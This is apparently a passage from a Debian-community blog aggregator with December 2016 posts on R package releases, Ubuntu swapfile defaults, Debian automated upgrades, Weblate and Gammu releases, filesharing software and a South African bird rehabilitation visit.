client:~# mount -t glusterfs storage1:/data /mnt
You should now be running GlusterFS 3.8 and your files should still all be there.

19 December 2016

Chris Lamb: 10 years of Debian

Today marks the 10-year anniversary of my first contribution to Debian GNU/Linux. I will not recount the full history here but my first experience with Debian was a happy accident. I had sent off for a 5-CD set of Red Hat from The Linux Emporium only to discover I lacked the required 12MB of RAM. Annoyed, I reached for the Debian "potato" CD that was included gratis in my order due to it being outdated at the time Fast-forwarding a few years, whilst my first contribution was trivial, it was Thomas Bushnell's infectious enthusiasm that led me to contribute more, eventually becoming a Google Summer of Code student under Daniel Baumann, and finally becoming an official Debian Developer in September 2008 with Thomas Viehmann as my Application Manager. (Some things may never change, however I still struggle with the bug tracker's control@ interface.)
The response I got to my patch always reminds me of the irrational power of providing attibution. I've always liked to tell myself I'm above such vanities but perhaps the truly mature approach would be to accept that ego is part of the human condition and as a community take steps to avoid handicapping ourselves by underestimating the value of "trivialities" such as having one's name listed. I've since been fascinated by the number of maintainers who do not attribute patches in changelogs, especially from newcomers or when the changes are non-trivial a handful in particular have stung me fairly deeply. I would certainly concede that it adds nothing technical and can even be distracting, but it seems a reasonable concession that dramatically increases the chance of future efforts or, frankly, is simply a kindly gesture of thanks and good will. Given our level of technical expertise, I fear we regularly suffer from not having sufficient empathy for newcomers or first-time users who lack the context or orientation that we possess. Anyway, here's to another ten

18 December 2016

Dirk Eddelbuettel: RcppArmadillo 0.7.600.1.0

armadillo image Earlier this week, Conrad released Armadillo 7.600.1. The corresponding RcppArmadillo release 0.7.600.1.0 is now on CRAN and in Debian. This follows several of rounds testing at our end with a full reverse-dependency of a pre-release version followed by another full reverse-depency check. Which was of course followed by CRAN testing for two more days. Armadillo is a powerful and expressive C++ template library for linear algebra aiming towards a good balance between speed and ease of use with a syntax deliberately close to a Matlab. RcppArmadillo integrates this library with the R environment and language--and is widely used by (currently) 298 other packages on CRAN -- an increase of 24 just since the last CRAN release of 0.7.500.0.0 in October! Changes in this release relative to the previous CRAN release 0.7.500.0.0 are as follows:

Changes in RcppArmadillo version 0.7.600.1.0 (2016-12-16)
  • Upgraded to Armadillo release 7.600.1 (Coup d'Etat Deluxe)
    • more accurate eigs_sym() and eigs_gen()
    • expanded floor(), ceil(), round(), trunc(), sign() to handle sparse matrices
    • added arg(), atan2(), hypot()

Changes in RcppArmadillo version 0.7.500.1.0 (2016-11-11)
  • Upgraded to Armadillo release 7.500.1
  • Small improvement to return value treatment
  • The sample.h extension was updated to the newer Armadillo interface. (Closes #111)

Courtesy of CRANberries, there is a diffstat report. More detailed information is on the RcppArmadillo page. Questions, comments etc should go to the rcpp-devel mailing list off the R-Forge page.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Johannes Schauer: Looking for self-hosted filesharing software

The owncloud package was removed from Debian unstable and testing. I am thus now looking for an alternative. Unfortunately, finding such replacement seems to be harder than I initially thought, even though I only use a very small subset of what owncloud provides. What I require is some software which allows me to:
  1. upload a directory of files of any type to my server (no "distributed" filesharing where I have to stay online with my laptop)
  2. share the content of that directory via HTTP (no requirement to install any additional software other than a web browser)
  3. let the share-links be private (no possibility to infer the location of other shares)
  4. allow users to browse that directory (image thumbnails or a photo gallery would be nice)
  5. allow me to allow anonymous users to upload their own content into that directory (also only requiring their web browser)
  6. already in Debian or easy to package and maintain due to low complexity (I don't have enough time to become the next "owncloud maintainer")
I thought this was a pretty simple task to solve but I am unable to find any software that fits above criteria. The below table shows the result of my research of what's currently available. The columns mark whether the respective software fulfills one of the six criteria from above.
Software 123456
owncloud
sparkleshare
dvcs-autosync
git annex assistant
syncthing
pydio
seafile
sandstorm.io
ipfs
bozon
droppy
Pydio, seafile and sandstorm.io look promising but they seem to be beasts similar in complexity to owncloud as they bring features like version tracking, office integration, wikis, synchronization across multiple devices or online editing of files which are features that I do not need. I would already be very happy if there was a script which would make it easy to create a hard-to-guess symlink to a directory with data tracked by git annex under my www-root and then generate some static HTML to provide a thumbnails view or a photo gallery. Unfortunately, even that solution would not be sufficient as it would still disallow public upload by anybody whom I would give the link to... If you know some software that meets my criteria or would like to submit corrections to above table, please shoot an email to josch@debian.org. Thanks!

16 December 2016

Dimitri John Ledkov: Swapfiles by default in Ubuntu

4MB RAM card
By default, in Ubuntu, we usually create a swap partition.

Back in the day of 4MB RAM cards this made total sense, as the ration of RAM to disk space, was still very low. Things have changed since. Server, desktop, embedded systems have migrated to newer generations of both RAM and persistent storage. On the high performance side of things we see machines with faster storage in the form of NVMe and SSD drives. Reserving space for swap on such storage, can be seen as expensive and wasteful. This is also true for recent enough laptops and desktops too. Mobile phones have substantial amounts of RAM these days, and at times, coupled with eMMC storage - it is flash storage of lower performance, which have limited number of write cycles, hence should not be overused for volatile swap data. And there are also unicorns in a form of high performance computing of high memory (shared memory) systems with little or no disk space.

Today, carving a partition and reserving twice the RAM size for swap makes little sense. For a common, general, machine most of the time this swap will not be used at all. Or if said swap space is in use but is of inappropriate size, changing it in-place in retrospect is painful.

Starting from 17.04 Zesty Zapus release, instead of creating swap partitions, swapfiles will be used by default for non-lvm based installations.

Secondly, the sizing of swapfiles is very different. It is no more than 5% of free disk space or 2GiB, whichever is lower.

For preseeding, there are two toggles that control this behavior:
  • d-i partman-swapfile/percentage string 5
  • d-i partman-swapfile/size string 2048
Setting either of those to zero, will result in system without any swap at all. And one can tweak relative integer percentage points and absolute limits in integer percentage points or MiB.

On LVM based installations, swap logical volumes are used, since unfortunately LVM snapshots do not exclude swapfile changes. However, I would like to move partman-auto to respect the above proposed 5%-or-2GB limits.

Ps. 4MB RAM card picture is by Bub's (Photo) [GFDL or CC-BY-SA-3.0], via Wikimedia Commons

Dirk Eddelbuettel: nanotime 0.0.1: New package for Nanosecond Resolution Time for R

R has excellent tools for dates and times. The Date and POSIXct classes (as well as the 'wide' representation in POSIXlt) are versatile, and a lot of useful tooling has been built around them. However, POSIXct is implemented as a double with fractional seconds since the epoch. Given the 53 bits accuracy, it leaves just a bit less than microsecond resolution. Which is good enough for most things. But more and more performance measurements, latency statistics, ... are now measured more finely, and we need nanosecond resolution. For which commonly an integer64 is used to represent nanoseconds since the epoch. And while R does not a native type for this, the bit64 package by Jens Oehlschl gel offers a performant one implemented as a lightweight S3 class. So this package uses this integer64 class, along with two helper functions for parsing and formatting, respectively, at nano-second resolution from the RcppCCTZ package which wraps the CCTZ library from Google. CCTZ is a modern C++11 library extending the (C++11-native) chrono type.

Examples

Simple Parsing and Arithmetic
R> x <- nanotime("1970-01-01T00:00:00.000000001+00:00")
R> print(x)
integer64
[1] 1
R> format(x)
[1] "1970-01-01T00:00:00.000000001+00:00"
R> cat("x+1 is: ")
x+1 is: R> x <- x + 1
R> print(x)
integer64
[1] 2
R> format(x)
[1] "1970-01-01T00:00:00.000000002+00:00"
R>

Vectorised
R> options("width"=60)
R> v <- nanotime(Sys.time()) + 1:5
R> v
integer64
[1] 1481505724483583001 1481505724483583002
[3] 1481505724483583003 1481505724483583004
[5] 1481505724483583005
R> format(v)
[1] "2016-12-12T01:22:04.483583001+00:00"
[2] "2016-12-12T01:22:04.483583002+00:00"
[3] "2016-12-12T01:22:04.483583003+00:00"
[4] "2016-12-12T01:22:04.483583004+00:00"
[5] "2016-12-12T01:22:04.483583005+00:00"
R> 

Use with zoo
R> z <- zoo(cbind(A=1:5, B=5:1), v)
R> options("nanotimeFormat"="%d %b %H:%M:%E*S")  ## override default
R> z
                          A B
12 Dec 01:47:55.812513001 1 5
12 Dec 01:47:55.812513002 2 4
12 Dec 01:47:55.812513003 3 3
12 Dec 01:47:55.812513004 4 2
12 Dec 01:47:55.812513005 5 1
R> 

Technical Details The bit64 package (by Jens Oehlschl gel) supplies the integer64 type used to store the nanosecond resolution time as (positive or negative) offsets to the epoch of January 1, 1970. The RcppCCTZ package supplies the formatting and parsing routines based on the (modern C++) library CCTZ from Google.

Status Version 0.0.1 has now been released. It works with some other packages, notably zoo and data.table. It (at least currently) requires RcppCCTZ to parse and format nanosecond resolution time objects from / to text --- and this package is on Linux and OS X only due to its use of system time zoneinfo. The requirement could be relaxed in the future by rewriting formating and parsing code. Contributions are welcome.

Installation The package is not yet on CRAN. Until it gets there, or to install the development versions, it can also be installed via a standard
install.packages("RcppCCTZ")   # need 0.1.0 or later
remotes::install_github("eddelbuettel/nanotime")  
If you prefer install.packages() (as I do), use the version from the ghrr drat:
install.packages("drat")       # easier repo access + creation
drat:::add("ghrr")             # make it known
install.packages("nanotime")   # install it
If and when it gets to CRAN you will be able to do
install.packages("nanotime")

Contact For questions or comments use the issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

15 December 2016

Michal &#268;iha&#345;: Weblate 2.10

Quite on the schedule, Weblate 2.10 is out today. This release brings Git exporter module, improves support for machine translation services and adds various CSV exports and API interfaces. Full list of changes: If you are upgrading from older version, please follow our upgrading instructions. You can find more information about Weblate on https://weblate.org, the code is hosted on Github. If you are curious how it looks, you can try it out on demo server. You can login there with demo account using demo password or register your own user. Weblate is also being used on https://hosted.weblate.org/ as official translating service for phpMyAdmin, OsmAnd, Aptoide, FreedomBox, Weblate itself and many other projects. Should you be looking for hosting of translations for your project, I'm happy to host them for you or help with setting it up on your infrastructure. Further development of Weblate would not be possible without people providing donations, thanks to everybody who have helped so far! The roadmap for next release is just being prepared, you can influence this by expressing support for individual issues either by comments or by providing bounty for them.

Filed under: Debian English phpMyAdmin SUSE Weblate 0 comments

14 December 2016

Antoine Beaupr : Debian considering automated upgrades

The Debian project is looking at possibly making automatic minor upgrades to installed packages the default for newly installed systems. While Debian has a reliable and stable package update system that has been an inspiration for multiple operating systems (the venerable APT), upgrades are, usually, a manual process on Debian for most users. The proposal was brought up during the Debian Cloud sprint in November by longtime Debian Developer Steve McIntyre. The rationale was to make sure that users installing Debian in the cloud have a "secure" experience by default, by installing and configuring the unattended-upgrades package within the images. The unattended-upgrades package contains a Python program that automatically performs any pending upgrade and is designed to run unattended. It is roughly the equivalent of doing apt-get update; apt-get upgrade in a cron job, but has special code to handle error conditions, warn about reboots, and selectively upgrade packages. The package was originally written for Ubuntu by Michael Vogt, a longtime Debian developer and Canonical employee. Since there was a concern that Debian cloud images would be different from normal Debian installs, McIntyre suggested installing unattended-upgrades by default on all Debian installs, so that people have a consistent experience inside and outside of the cloud. The discussion that followed was interesting as it brought up key issues one would have when deploying automated upgrade tools, outlining both the benefits and downsides to such systems.

Problems with automated upgrades An issue raised in the following discussion is that automated upgrades may create unscheduled downtime for critical services. For example, certain sites may not be willing to tolerate a master MySQL server rebooting in conditions not controlled by the administrators. The consensus seems to be that experienced administrators will be able to solve this issue on their own, or are already doing so. For example, Noah Meyerhans, a Debian developer, argued that "any reasonably well managed production host is going to be driven by some kind of configuration management system" where competent administrators can override the defaults. Debian, for example, provides the policy-rc.d mechanism to disable service restarts on certain packages out of the box. unattended-upgrades also features a way to disable upgrades on specific packages that administrators would consider too sensitive to restart automatically and will want to schedule during maintenance windows. Reboots were another issue discussed: how and when to deploy kernel upgrades? Automating kernel upgrades may mean data loss if the reboot happens during a critical operation. On Debian systems, the kernel upgrade mechanisms already provide a /var/run/reboot-required flag file that tools can monitor to notify users of the required reboot. For example, some desktop environments will popup a warning prompting users to reboot when the file exists. Debian doesn't currently feature an equivalent warning for command-line operation: Vogt suggested that the warning could be shown along with the usual /etc/motd announcement. The ideal solution here, of course, is reboot-less kernel upgrades, which is also known as "live patching" the kernel. Unfortunately, this area is still in development in the kernel (as was previously discussed here). Canonical deployed the feature for the Ubuntu 16.04 LTS release, but Debian doesn't yet have such capability, since it requires extra infrastructure among other issues. Furthermore, system reboots are only one part of the problem. Currently, upgrading packages only replaces the code and restarts the primary service shipped with a given package. On library upgrades, however, dependent services may not necessarily notice and will keep running with older, possibly vulnerable, libraries. While libc6, in Debian, has special code to restart dependent services, other libraries like libssl do not notify dependent services that they need to restart to benefit from potentially critical security fixes. One solution to this is the needrestart package which inspects all running processes and restarts services as necessary. It also covers interpreted code, specifically Ruby, Python, and Perl. In my experience, however, it can take up to a minute to inspect all processes, which degrades the interactivity of the usually satisfying apt-get install process. Nevertheless, it seems like needrestart is a key component of a properly deployed automated upgrade system.

Benefits of automated upgrades One thing that was less discussed is the actual benefit of automating upgrades. It is merely described as "secure by default" by McIntyre in the proposal, but no one actually expanded on this much. For me, however, it is now obvious that any out-of-date system will be systematically attacked by automated probes and may be taken over to the detriment of the whole internet community, as we are seeing with Internet of Things devices. As Debian Developer Lars Wirzenius said:
The ecosystem-wide security benefits of having Debian systems keep up to date with security updates by default overweigh any inconvenience of having to tweak system configuration on hosts where the automatic updates are problematic.
One could compare automated upgrades with backups: if they are not automated, they do not exist and you will run into trouble without them. (Wirzenius, coincidentally, also works on the Obnam backup software.) Another benefit that may be less obvious is the acceleration of the feedback loop between developers and users: developers like to know quickly when an update creates a regression. Automation does create the risk of a bad update affecting more users, but this issue is already present, to a lesser extent, with manual updates. And the same solution applies: have a staging area for security upgrades, the same way updates to Debian stable are first proposed before shipping a point release. This doesn't have to be limited to stable security updates either: more adventurous users could follow rolling distributions like Debian testing or unstable with unattended upgrades as well, with all the risks and benefits that implies.

Possible non-issues That there was not a backlash against the proposal surprised me: I expected the privacy-sensitive Debian community to react negatively to another "phone home" system as it did with the Django proposal. This, however, is different than a phone home system: it merely leaks package lists and one has to leak that information to get the updated packages. Furthermore, privacy-sensitive administrators can use APT over Tor to fetch packages. In addition, the diversity of the mirror infrastructure makes it difficult for a single entity to profile users. Automated upgrades do imply a culture change, however: administrators approve changes only a posteriori as opposed to deliberately deciding to upgrade parts they chose. I remember a time when I had to maintain proprietary operating systems and was reluctant to enable automated upgrades: such changes could mean degraded functionality or additional spyware. However, this is the free-software world and upgrades generally come with bug fixes and new features, not additional restrictions.

Automating major upgrades? While automating minor upgrades is one part of the solution to the problem of security maintenance, the other is how to deal with major upgrades. Once a release becomes unsupported, security issues may come up and affect older software. While Debian LTS extends releases lifetimes significantly, it merely delays the inevitable major upgrades. In the grand scheme of things, the lifetimes of Linux systems (Debian: 3-5 years, Ubuntu: 1-5 years) versus other operating systems (Solaris: 10-15 years, Windows: 10+ years) is fairly short, which makes major upgrades especially critical. While major upgrades are not currently automated in Debian, they are usually pretty simple: edit sources.list then:
    # apt-get update && apt-get dist-upgrade
But the actual upgrade process is really much more complex. If you run into problems with the above commands, you will quickly learn that you should have followed the release notes, a whopping 20,000-word, ten-section document that outlines all the gory details of the release. This is a real issue for large deployments and for users unfamiliar with the command line. The solutions most administrators seem to use right now is to roll their own automated upgrade process. For example, the Debian.org system administrators have their own process for the "jessie" (8.0) upgrade. I have also written a specification of how major upgrades could be automated that attempts to take into account the wide variety of corner cases that occur during major upgrades, but it is currently at the design stage. Therefore, this problem space is generally unaddressed in Debian: Ubuntu does have a do-release-upgrade command but it is Ubuntu-specific and would need significant changes in order to work in Debian.

Future work Ubuntu currently defaults to "no automation" but, on install, invites users to enable unattended-upgrades or Landscape, a proprietary system-management service from Canonical. According to Vogt, the company supports both projects equally as they differ in scope: unattended-upgrades just upgrades packages while Landscape aims at maintaining thousands of machines and handles user management, release upgrades, statistics, and aggregation. It appears that Debian will enable unattended-upgrades on the images built for the cloud by default. For regular installs, the consensus that has emerged points at the Debian installer prompting users to ask if they want to disable the feature as well. One reason why this was not enabled before is that unattended-upgrades had serious bugs in the past that made it less attractive. For example, it would simply fail to follow security updates, a major bug that was fortunately promptly fixed by the maintainer. In any case, it is important to distribute security and major upgrades on Debian machines in a timely manner. In my long experience in professionally administering Unix server farms, I have found the upgrade work to be a critical but time-consuming part of my work. During that time, I successfully deployed an automated upgrade system all the way back to Debian woody, using the simpler cron-apt. This approach is, unfortunately, a little brittle and non-standard; it doesn't address the need of automating major upgrades, for which I had to revert to tools like cluster-ssh or more specialized configuration management tools like Puppet. I therefore encourage any effort towards improving that process for the whole community. More information about the configuration of unattended-upgrades can be found in the Ubuntu documentation or the Debian wiki.
Note: this article first appeared in the Linux Weekly News.

Dirk Eddelbuettel: anytime 0.1.2: Another bugfix

Another update, now at release 0.1.2, of anytime arrived at CRAN earlier today. anytime is a very focused package aiming to do just one thing really well: to convert anything in integer, numeric, character, factor, ordered, ... format to either POSIXct or Date objects -- and to do so without requiring a format string. See the anytime page, or the GitHub README.md for a few examples, or just consider the following illustration:
R> library(anytime)
R> anytime("20161107 202122")   ## all digits
[1] "2016-11-07 20:21:22 CST"
R> utctime("2016Nov07 202122")  ## UTC parse example
[1] "2016-11-07 14:21:22 CST"
R> 
Release 0.1.2 addresses a somewhat bizarre Windows-only bug reported at GitHub in #33 and at StackOverflow. Formats of the %Y-%b-%d form, ie 2016-Dec-12 for today would fail on Windows as the contiguous string was apparently getting split by a routine looking for splits on spaces. Really strange. Anyway, I switched to using more helper functions from the Boost String Algorithms library, and things are behaving now. An extra shoutout once more to G bor Cs rdi and the R Consortium for the most awesome R-Builder. I was able to test and fix on Windows during the weekend with no access to an actual windows environment. The NEWS file summarises the release:

Changes in anytime version 0.1.2 (2016-12-13)
  • The (internal) string processing and splitting now uses Boost algorithm functions which avoids a (bizarre) bug on Windows.
  • Test coverage was increased.

Courtesy of CRANberries, there is a comparison to the previous release. More information is on the anytime page. For questions or comments use the issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

13 December 2016

Shirish Agarwal: Eagle Encounters, pier Stellenbosch

Before starting, have to say hindsight as they say is always 20/20. I was moaning about my 6/7 hour trip few blog posts back but now came to know about the 17.5 hr. flights (17.5x800km/hr=14000 km.) which are happening around me. I would say I was whining about nothing seeing those flights. I can t even imagine how people would feel in those flights. Six hours were too much in the tin-can, thankfully though I was in the aisle seat. In 14 hours most people would probably give to Air rage . I just saw an excellent article on the subject. I also came to know that seat-selection and food on a long-haul flights are a luxury, hence that changes the equation quite a bit as well. So on these facts, it seems Qatar Airways treated me quite well as I was able to use both those options. Disclaimer My knowledge about birds/avian is almost non-existent, Hence feel free to correct me if I do go wrong anywhere. Coming back to earth literally , I will have to share a bit of South Africa as that is part and parcel of what I m going to share next. Also many of the pictures shared in this particular blog post belong to KK who has shared them with me with permission to share it with the rest of the world. When I was in South Africa, in the first couple of days as well as what little reading of South African History I had read before travelling, had known that the Europeans, specifically the Dutch ruled on South Africa for many years. What was shared to me in the first day or two that Afrikaans is mostly spoken by Europeans still living in South Africa, some spoken by the coloured people as well. This tied in with the literature I had already read. The Wikipedia page shares which language is spoken by whom and how the demographics play out if people are interested to know that. One of the words or part of the word for places we came to know is bosch as is used in many a places. Bosch means wood or forest. After this we came to know about many places which were known as somethingbosch which signified to us that area is or was a forest. On the second/third day Chirayu (pictured, extreme left) shared the idea of going to Eagle Encounters. Other people pictured in the picture are yours truly, some of the people from GSOC, KK is in the middle, the driver Leonard something who took us to Eagle Encounters on the right (pictured extreme right). Update I was informed that it was a joint plan between Chirayu and KK. They also had some other options planned which later got dropped by the wayside. The whole gang/group along with Leonard coming from eagle encounters It was supposed to be somewhat near, (Spier, Stellenbosch). While I was not able to able to see/figure out where Eagle Encounters is on Openstreetmap, somebody named Firefishy added Spier to OSM few years back. So thank you for that Firefishy so I can at least pin-point a closer place. I didn t see/know/try to figure out about the place as Chirayu said it s a zoo . I wasn t enthusiastic as much as I had been depressed by most zoos in India, while you do have national reserves/Parks in India where you see animals in their full glory. I have been lucky to been able to seen Tadoba and Ranthambore National parks and spend some quality time (about a week) to have some idea as to what can/happens in forests and people living in the buffer-zones but those stories are for a different day altogether. I have to say I do hope to be part of the Ranthambore experience again somewhere in the future, it really is a beautiful place for flora and fauna and fortunately or unfortunately this is the best time apart from spring, as you have the game of mist/fog and animals . North India this time of the year is something to be experienced. I wasn t much enthused as zoos in India are claustrophobic for animals and people both. There are small cages and you see and smell the shit/piss of the animals, generally not a good feeling. Chirayu shared with us also the possibility of being able to ride of Segways and range of bicycles which relieved me so that in case we didn t enjoy the zoo we would enjoy the Segway at least and have a good time (although it would have different expenses than the ones at Eagle Encounters). My whole education about what a zoo could be was turned around at Eagle Encounters as it seems to be somewhere between a zoo and what I know as national parks where animals roam free. We purchased the tickets and went in, the first event/happening was Eagle Encounters itself. One of the families at Eagle Encounter handling a snowy eagle Our introduction to the place started by two beautiful volunteer/trainers who were in charge of all the birds in the Eagle Encounters vicinity. The introduction started by every one of us who came for the Eagle Encounter show to wear a glove and to have/hold one of the pair of snowy owls to sit on the glove. That picture is of a family who was part of our show. Before my turn came, I was a little apprehensive/worried about holding a Owl -period. To my surprise, they were so soft and easy-going, I could hardly feel the weight on my hand. While the trainer/volunteers were constantly feeding them earthworm-bits (I didn t ask, just guessing) and we were all happy as they along with the visitors were constantly playing and interacting with the birds, sharing with us the life-cycle of the snowy Owl. It s only then I understood why in the Harry Potter Universe, the owl plays such an important part. They seem to be a nice, curious, easy-going, proud creatures which fits perfectly in the HP Universe. In hind-sight I should have videod the whole experience as the trainer/volunteer showed a battery of owls, eagles, vultures, Hawks (different birds of prey) what have you. I have to confess my knowledge of birds is and was non-existent. Vulture at the Eagle Encounters show Vulture, One of the larger birds we saw at the Eagle Encounters show. Some of the birds could be dangerous, especially in the wild. The other trainer showing off a Black Eagle at Eagle Encounters That was the other Volunteer-Trainer who was showing off the birds. I especially liked the t-shirt she was wearing. The shop at Eagle Encounters had whole lot of them, they were a bit expensive and just not my size Tidbit Just a few years ago, it was a shocker to me to know/realize that what commonly goes/known in the country as a parrot by most people is actually a Parakeet. As can be seen in the article linked, they are widely distributed in India. While I was young, I used to see the rose-ringed parakeets quite a bit around but nowadays due to probably pollution and other factors, they are noticeably less. They are popular as pets in India. I don t know what Pollito would think about that, don t think he would think good. Trainer showing off a Hawk at Eagle Encounters As I cannot differentiate between Hawk, Vulture, Eagle, etc. I would safely say a Bird of Prey as that was what he was holding. This photo was taken after the event was over where we all were curious to know about the volunteer/trainer, their day job and what it meant for them to be taking care of these birds. Update KK has shared with me what those specific birds are called, so in case the names or species are wrong, please take the truck with her and not me. While I don t remember the name of the trainer/volunteer, among other things it was shared that the volunteers/trainers aren t paid enough and they never have enough funds to take care of all the birds who come to them. Trainer showing Hawk and background chart Where the picture was shot (both this and earlier) was sort of open-office. If you look closely, you will see that there are names of the birds, for instance, people who loved LOTR would easily see Gandalf . that board lists how much food (probably in grams) did the bird eat in a day and week. While it was not shared, I m sure there would be a lot of paperwork, studies to get the birds as well as possible. From a computer science perspective, there seemed to be lot of potential for avian and big-data professionals to do lot of computer modelling and analysis and give more insight into the rehabilitation efforts so the process could be more fine-tuned, efficient and economic perhaps. Hawk on stand This is how we saw the majority of the birds. Most of them had a metal/plastic string which was tied to small artificial branches as the one above. I forgot to share a very important point. Eagle Encounters is not a zoo but a Rehabilitation Centre. While the cynic/skeptic part of me tried to not feel or see the before and after pictures of the birds bought to the rehabilitation centre, the caring part was moved to see most of the birds being treated with love and affection. From our conversations with the Volunteer-Trainer it emerged that every week they had to turn away lots of birds due to space constraints. It is only the most serious/life-threatening cases for which they could provide care in a sustainable way they would keep. Some of the birds who were in the cages were large, airy. I wouldn t say clean as what little I read before as well later is that birds shit enormously so cleaning cages is quite an effort. Most of the cages and near those artificial branches there were placards of people who were sponsoring a bird or two to look after them. From what was shared, many of the birds who came had been abused in many ways. Some of them had their bones crushed or/and other cruel ways. As I had shared that I had been wonderfully surprised by seeing birds come so close to me and most of my friends, I felt rage about those who had treated the birds in such evil, bad ways. What was shared with us that while they try to heal the birds as much as possible, it is always suspect how well the birds would survive on their own in nature, hence many of these birds would go to the sponsor or to some other place when they are well. The Secretary birds - cage- sponsors-adopted If you look at the picture closely, maybe look at the higher resolution photo in the gallery, you will see that both the birds have been adopted by two different couples. The birds as the name tag shows are called Secretaries . The Secretaries make a typical sound which is similar to the sound made by old typewriters. Just as woodpeckers make Morse Code noises when they are pecking with their beaks on trees, something similar to the sound of keys emitted by Old Remington typewriters when clicked on was done by the Secretaries. One of the birds in the cage, This is one of the birds in one of the few cages. If you see a higher-resolution picture of the earlier picture, the one which has Secretaries . Also as can be seen in the picture, there is wood-working happening and they are trying to expand the Rehabilitation Centre. All in all, an excursion which was supposed to be for just an hour, extended to something like 3 odd hours. KK shot more than a 1000 odd pictures while trying to teach/converse in Malyalam to some of the birds. She shot well over 1000 photos which would have filled something like 30 odd traditional photo albums. Jaminy (KK s partner-in-crime) used her selfie stick to desired effect, taking pictures with most of the birds as one does with celebrities. I had also taken some but most of them were over-exposed as was new to mobile photography at that time, still am but mostly it works. Lake with Barn Owls near Eagle Encounters That is the lake we discovered/saw after coming back from Eagle Encounters. We had good times. Lastly, a virtual prize distribution ceremony a. Chirayu and KK A platinum trophy for actually thinking and pitching the place in the first place. b. Shirish and Deven Bansod Metal cups for not taking more than 10 minutes to freshen up and be back after hearing the plan to go to Eagle Encounters. c. All the girls/women Spoons for actually making it to the day. All the girls took quite sometime to freshen up, otherwise it might have been possible to also experience the Segways, who knows. All-in-all an enjoyable day spent in being part of Eagle Encounters .
Filed under: Miscellenous Tagged: #Birds of Prey, #Debconf16, #Eagle Encounters, #Rehabilitation, #South African History, #Stellenbosch

12 December 2016

Jonathan McDowell: No longer a student. Again.

99 Problems (image courtesy of XKCD) Last week I graduated with a Masters in Legal Science (now taught as an MLaw) from Queen s University Belfast. I m pleased to have achieved a Distinction, as well an award for Outstanding Achievement in the Dissertation (which was on the infringement of privacy by private organisations due to state mandated surveillance and retention laws - pretty topical given the unfortunate introduction of the Investigatory Powers Act 2016). However, as previously stated, I had made the decision that I was happier building things, and wanted to return to the world of technology. I talked to a bunch of interesting options, got to various stages in the hiring process with each of them, and happily accepted a role with Titan IC Systems which started at the beginning of September. Titan have produced a hardware accelerated regular expression processor (hence the XKCD reference); the RXP in its FPGA variant (what I get to play with) can handle pattern matching against 40Gb/s of traffic. Which is kinda interesting, as it lends itself to a whole range of applications from network scanning to data mining to, well, anything where you want to sift through a large amount of data checking against a large number of rules. However it s brand new technology for me to get up to speed with (plus getting back into a regular working pattern rather than academentia), and the combination of that and spending most of the summer post DebConf wrapping up the dissertation has meant I haven t had as much time to devote other things as I d have liked. However I ve a few side projects at various stages of completion and will try to manage more regular updates.

Michal &#268;iha&#345;: Gammu 1.38.0

Today Gammu 1.38.0 has been released. Changes in last two testing releases have been stabilized and this is the outcome. You can expect changes in API or SMSD tables as well as some additional features. Also this is first stable release after several years which comes with Windows binaries. These are built using AppVeyor and will help bring Windows users back to latest versions. Full list of changes and new features can be found on Gammu 1.38.0 release page. Would you like to see more features in Gammu? You an support further Gammu development at Bountysource salt or by direct donation.

Filed under: Debian English Gammu 0 comments

Dirk Eddelbuettel: RcppCCTZ 0.1.0

A new version 0.1.0 of RcppCCTZ arrived on CRAN this morning. It brings a number of new or updated things, starting with new upstream code from CCTZ as well as a few new utility functions. CCTZ is a C++ library for translating between absolute and civil times using the rules of a time zone. In fact, it is two libraries. One for dealing with civil time: human-readable dates and times, and one for converting between between absolute and civil times via time zones. It requires only a proper C++11 compiler and the standard IANA time zone data base which standard Unix, Linux, OS X, ... computers tend to have in /usr/share/zoneinfo. RcppCCTZ connects this library to R by relying on Rcpp. A nice example is the helloMoon() function (based on an introductory example in the CCTZ documentation) showing the time when Neil Armstrong took a small step, relative to local time in New York and Sydney:
R> library(RcppCCTZ)
R> helloMoon(verbose=TRUE)
1969-07-20 22:56:00 -0400
1969-07-21 12:56:00 +1000
                   New_York                      Sydney 
"1969-07-20 22:56:00 -0400" "1969-07-21 12:56:00 +1000" 
R> 
The new formating and parsing functions are illustrated below with default arguments for format strings and timezones. All this can be customized as usual.
R> example(formatDatetime)
frmtDtR> now <- Sys.time()
frmtDtR> formatDatetime(now)            # current (UTC) time, in full precision RFC3339
[1] "2016-12-12T13:21:03.866711+00:00"
frmtDtR> formatDatetime(now, tgttzstr="America/New_York")  # same but in NY
[1] "2016-12-12T08:21:03.866711-05:00"
frmtDtR> formatDatetime(now + 0:4)     # vectorised
[1] "2016-12-12T13:21:03.866711+00:00" "2016-12-12T13:21:04.866711+00:00" "2016-12-12T13:21:05.866711+00:00"
[4] "2016-12-12T13:21:06.866711+00:00" "2016-12-12T13:21:07.866711+00:00"
R> example(parseDatetime)
prsDttR> ds <- getOption("digits.secs")
prsDttR> options(digits.secs=6) # max value
prsDttR> parseDatetime("2016-12-07 10:11:12",        "%Y-%m-%d %H:%M:%S");   # full seconds
[1] "2016-12-07 04:11:12 CST"
prsDttR> parseDatetime("2016-12-07 10:11:12.123456", "%Y-%m-%d %H:%M:%E*S"); # fractional seconds
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> parseDatetime("2016-12-07T10:11:12.123456-00:00")  ## default RFC3339 format
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> now <- trunc(Sys.time())
prsDttR> parseDatetime(formatDatetime(now + 0:4))               # vectorised
[1] "2016-12-12 07:21:17 CST" "2016-12-12 07:21:18 CST" "2016-12-12 07:21:19 CST"
[4] "2016-12-12 07:21:20 CST" "2016-12-12 07:21:21 CST"
prsDttR> options(digits.secs=ds)
R>
Changes in this version are summarized here:

Changes in version 0.1.0 (2016-12-11)
  • Synchronized with CCTZ upstream.
  • New parsing and formating helpers for Datetime vectors
  • New parsing and formating helpers for (two) double vectors representing full std::chrono nanosecond resolutions
  • Updated documentation and examples.

We also have a diff to the previous version thanks to CRANberries. More details are at the RcppCCTZ page; code, issue tickets etc at the GitHub repository.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

10 December 2016

Iain R. Learmonth: The Internet of Dangerous Auction Sites

It might be that the internet era of fun and games is over, because the internet is now dangerous. Bruce Schneier
